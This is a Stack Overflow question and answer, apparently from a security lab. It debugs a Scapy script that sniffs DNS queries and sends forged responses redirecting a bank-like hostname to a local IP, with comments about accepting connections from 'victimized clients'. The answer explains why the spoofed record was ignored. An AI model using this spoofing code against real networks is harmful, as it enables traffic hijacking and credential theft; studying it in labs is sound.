'Why Python dns.resolver Doesn't Stop with Scapy's Sniff?

Please Note, the provided answer doesn't solve the problem for me.

In python I have:

resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')

I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:

def sniff_and_spoof(source_ip):
    # TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
    # This socket will be used to accept connections from victimized clients.
    packet_filter = " and ".join([
        "udp dst port 53",  # Filter UDP port 53
        "udp[10] & 0x80 = 0",  # DNS queries only
        "dst host 127.0.0.2"
    ])
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
        client_socket.bind((source_ip, WEB_PORT))
        client_socket.listen()
        cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
        sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)

and:

def dns_callback(packet, extra_args):
    # TODO: Write callback function for handling DNS packets.
    # Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
    eth = Ether(
        src=packet[Ether].dst, dst=packet[Ether].src
    )

    ip = IP(
        src=packet[IP].dst, dst=packet[IP].src
    )

    udp = UDP(
        dport=packet[UDP].sport, sport=packet[UDP].dport
    )

    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd,
        aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
        ar=DNSRR(
            rrname=packet[DNS].qd.qname,
            type='A',
            ttl=600,
            rdata='127.0.0.3')
    )

    response_packet = eth / ip / udp / dns
    sendp(response_packet, iface=net_interface)

Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?

Wireshark output: (request in line 4 and its response in line 5)

enter image description here


Keeping the code running gives the following error:

result = resolver.query("LetumiBank.com")
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
    timeout = self._compute_timeout(start, lifetime)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
    raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds

UPDATE:

Tried this too, same problem:

eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)

ip = IP(src=packet[IP].dst, dst=packet[IP].src)

udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)

dns = DNS(
    id=packet[DNS].id,
    aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
    qd=DNSQR(  # Query
        qname=packet[DNSQR].qname
    ),
    an=DNSRR(  # Answer
        rrname=packet[DNS].qd.qname,
        type='A',
        rclass=1,
        ttl=600,
        rdata='127.0.0.3'
    )
)


Solution 1:[1]

ar=DNSRR() is wrong in your call to DNS().

Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing. You may also need a list because the sections, except the question, are storing multiple records, not just one.

So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.

A DNS packet can have up to 4 sections:

  • a question, called qd in Scapy
  • an answer, called an,
  • an authority, called ns
  • an additional part, called ar

Your ancount/arcount are right though, so maybe just a typo?

By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.

Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DNS 

Where the RFC 1035 has:


                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

for the header and

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

for the whole packet.

So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).

PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):

>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR  rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1